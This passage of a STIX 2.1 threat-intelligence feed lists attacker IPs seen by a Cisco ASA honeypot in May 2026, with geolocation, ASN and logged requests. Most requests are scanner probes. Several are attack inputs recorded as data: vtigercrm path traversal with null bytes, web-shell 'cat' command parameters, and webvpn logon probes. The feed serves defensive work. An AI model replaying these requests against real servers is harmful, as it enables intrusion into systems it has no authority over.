      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 5,
          "first_seen": "2026-05-24T01:18:07.857Z",
          "last_seen": "2026-05-24T01:26:59.502Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /lang/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /libs/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /mail/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /maint/config.all.php? HTTP/1.1\" 404 -",
            "\"POST /vtigercrm/config.all.php HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/modules/vmblast/config.php?cc HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--81f963c2-5075-4433-88e9-356671cba817",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 8,
          "first_seen": "2026-05-24T01:19:29.085Z",
          "last_seen": "2026-05-24T01:19:42.038Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /admin/modules/vmblast/config.php?cc HTTP/1.1\" 404 -",
            "\"GET /admin/modules/vmblast/index.php?qq HTTP/1.1\" 404 -",
            "\"GET /android.php?c HTTP/1.1\" 404 -",
            "\"GET /digium_phones/test.php?cc HTTP/1.1\" 404 -",
            "\"GET /freeppx/fx29.php? HTTP/1.1\" 404 -",
            "\"GET /login.php?z HTTP/1.1\" 404 -",
            "\"GET /mtm.php?c HTTP/1.1\" 404 -",
            "\"GET /test.php?x123x9 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--a379b40b-faac-4c4f-9d66-50cfb32f4dd0",
      "labels": [
        "botnet_cc",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-24T01:18:20.835Z",
          "last_seen": "2026-05-24T01:28:59.218Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /classes/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /components/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /config/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /configs/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /controllers/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/includes/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/bg_BG/LC_MESSAGES/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/bg_BG/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/ HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--c279316e-5dcd-41d1-9fc8-11b90d16014c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 11,
          "first_seen": "2026-05-24T01:18:09.392Z",
          "last_seen": "2026-05-24T01:30:50.019Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /Bo.php? HTTP/1.1\" 404 -",
            "\"GET /_asterisk/ HTTP/1.1\" 404 -",
            "\"GET /x.php? HTTP/1.1\" 404 -",
            "\"GET /xx.php?21231232 HTTP/1.1\" 404 -",
            "\"GET /xx.php?x123wx HTTP/1.1\" 404 -",
            "\"POST / HTTP/1.1\" 302 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /vtigercrm/phprint.php HTTP/1.1\" 200 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--e81cfc86-c791-465e-b5db-05d09ea3859a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-24T01:18:01.389Z",
          "last_seen": "2026-05-24T01:18:06.163Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"POST /vtigercrm/phprint.php HTTP/1.1\" 200 -",
            "\"POST /vtigercrm/phprint.php?action=fa&module=ff&lang_crm=../../cache/import/IMPORT_%00 HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /admin/ajax.php HTTP/1.1\" 200 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--09905267-f0c5-4db2-9495-5b03e85b403c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-24T01:17:03.777Z",
          "last_seen": "2026-05-24T01:17:08.380Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"POST /admin/ajax.php HTTP/1.1\" 200 -",
            "\"POST /admin/config.php HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /Ti-CA.php HTTP/1.1\" 404 - geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--ca09eb97-50aa-43d7-989d-7c7bae0947e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-24T01:18:35.812Z",
          "last_seen": "2026-05-24T01:18:44.254Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "\"GET /Ti-CA.php HTTP/1.1\" 404 -",
            "\"GET /_asterisk/Ultimatex.php?ed3b0941a97e7f9=admin&asd HTTP/1.1\" 404 -",
            "\"GET /recordings/Ultimatex.php?ed3b0941a97e7f9=admin&asd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: NL; ASN 215125 (Church of Cyberology)",
      "id": "indicator--c916db64-8b5a-4545-88cf-5a649116b81d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-24T01:19:44.848Z",
          "last_seen": "2026-05-24T01:20:01.822Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 215125,
          "as_org": "Church of Cyberology",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /Hima.php?28 HTTP/1.1\" 404 -",
            "\"GET /ssh.php?2123 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: --------------------------8bd2ced8aa153f9a\" 400 - geo: FR; ASN 12876 (Scaleway SAS)",
      "id": "indicator--16964857-567a-4f50-b58d-387795c83d6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '212.83.160.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-24T01:18:04.694Z",
          "last_seen": "2026-05-24T01:18:04.695Z",
          "country": "France",
          "country_code": "FR",
          "asn": 12876,
          "as_org": "Scaleway SAS",
          "event_types": [
            "\"--------------------------8bd2ced8aa153f9a\" 400 -",
            "\"POST /vtigercrm/phprint.php?action=fa&module=ff&lang_crm=../../modules/Import/ImportStep2.php%00 HTTP/1.1\" 200 -",
            "code 400"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 50219 (Valence Technology Co.)",
      "id": "indicator--b933a317-3678-4f88-9822-2bfa70680431",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.226.76.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-24T01:12:00.252Z",
          "last_seen": "2026-05-24T01:13:15.430Z",
          "country": "United States",
          "country_code": "US",
          "asn": 50219,
          "as_org": "Valence Technology Co.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ae4ca045-edfd-4421-b0eb-824716c43b80",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-24T00:47:06.895Z",
          "last_seen": "2026-05-27T20:08:20.333Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--11b1a56a-bc98-4713-abda-0f0c97bb12d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.89.103.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-24T00:51:42.071Z",
          "last_seen": "2026-05-24T00:51:45.074Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--b646c0ac-792e-4f58-a6d4-8a1a22efab43",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.90.250.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-24T00:55:50.063Z",
          "last_seen": "2026-05-24T00:55:50.063Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/vivovivo.php?dwx=cat+vivovivo.php& HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--65ccce02-21f3-4357-b51b-fd5dceb94b14",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:20:10.000Z",
      "valid_until": "2026-06-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 8,
          "first_seen": "2026-05-24T01:18:58.387Z",
          "last_seen": "2026-05-24T01:19:11.199Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /_asterisk/vivovivo.php?dwx=cat+vivovivo.php& HTTP/1.1\" 404 -",
            "\"GET /_asterisk/vivovivow.php?dwxw=cat+vivovivow.php& HTTP/1.1\" 404 -",
            "\"GET /admin/assets/m.php?c=cat+m.php& HTTP/1.1\" 404 -",
            "\"GET /ajax.php?cmd=cat+ajax.php& HTTP/1.1\" 404 -",
            "\"GET /assets/m.php?c=cat+m.php& HTTP/1.1\" 404 -",
            "\"GET /rr.php?yokyok=cat+rr.php& HTTP/1.1\" 404 -",
            "\"GET /rrr.php?badr1badr=cat+rrr.php& HTTP/1.1\" 404 -",
            "\"GET /vivovivow.php?dwxw=cat+vivovivow.php& HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/SecureShell.php?123 HTTP/1.1\" 404 - geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--0daf1a46-a413-452d-8029-bdba033aa0ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 8,
          "first_seen": "2026-05-24T01:24:24.110Z",
          "last_seen": "2026-05-24T01:24:36.541Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "\"GET /recordings/SecureShell.php?123 HTTP/1.1\" 404 -",
            "\"GET /recordings/mo/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/s.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/s.php?1xx HTTP/1.1\" 404 -",
            "\"GET /recordings/scan.php?123 HTTP/1.1\" 404 -",
            "\"GET /recordings/too.php?123 HTTP/1.1\" 404 -",
            "\"GET /recordings/webadmin.php?123 HTTP/1.1\" 404 -",
            "\"GET /recordings/xnxx/config.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/index.php? HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--aba1c87a-f802-4b0c-bfb9-0fe7ea3993ea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-24T01:23:07.807Z",
          "last_seen": "2026-05-24T01:23:10.240Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /_asterisk/index.php? HTTP/1.1\" 404 -",
            "\"GET /_asterisk/index.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/phpversions.php?npv HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--b72fa0ac-3fef-4166-87a6-40e8e371bbff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-24T01:30:31.911Z",
          "last_seen": "2026-05-24T01:30:43.663Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /_asterisk/phpversions.php?npv HTTP/1.1\" 404 -",
            "\"GET /admin/modules/?npv HTTP/1.1\" 404 -",
            "\"GET /admin/modules/_cache/?npv HTTP/1.1\" 404 -",
            "\"GET /panel/phpversions.php?npv HTTP/1.1\" 404 -",
            "\"GET /recordings/phpversions.php?npv HTTP/1.1\" 404 -",
            "\"GET /var/phpversions.php?npv HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/phpversions.php?npv HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /vtigercrm/Zizo.php?z1x HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--9a4147ca-35a8-48b2-ae01-494ddd1faf3f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-24T01:25:08.087Z",
          "last_seen": "2026-05-24T01:25:09.814Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /vtigercrm/Zizo.php?z1x HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/zizo.php?123 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /a2billing/common/lib/jpgraph_lib/config.all.php? HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--0607f4fb-b8d1-4edf-96d2-7706175de022",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-24T01:25:58.685Z",
          "last_seen": "2026-05-24T01:26:00.681Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /a2billing/common/lib/jpgraph_lib/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/lib/pqp/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-24T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings.old/config.all.php? HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--9fc7145f-a793-495f-bc83-bfb8a346311b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:20:10.000Z",
      "valid_until": "2026-06-25T02:20:09.000Z",
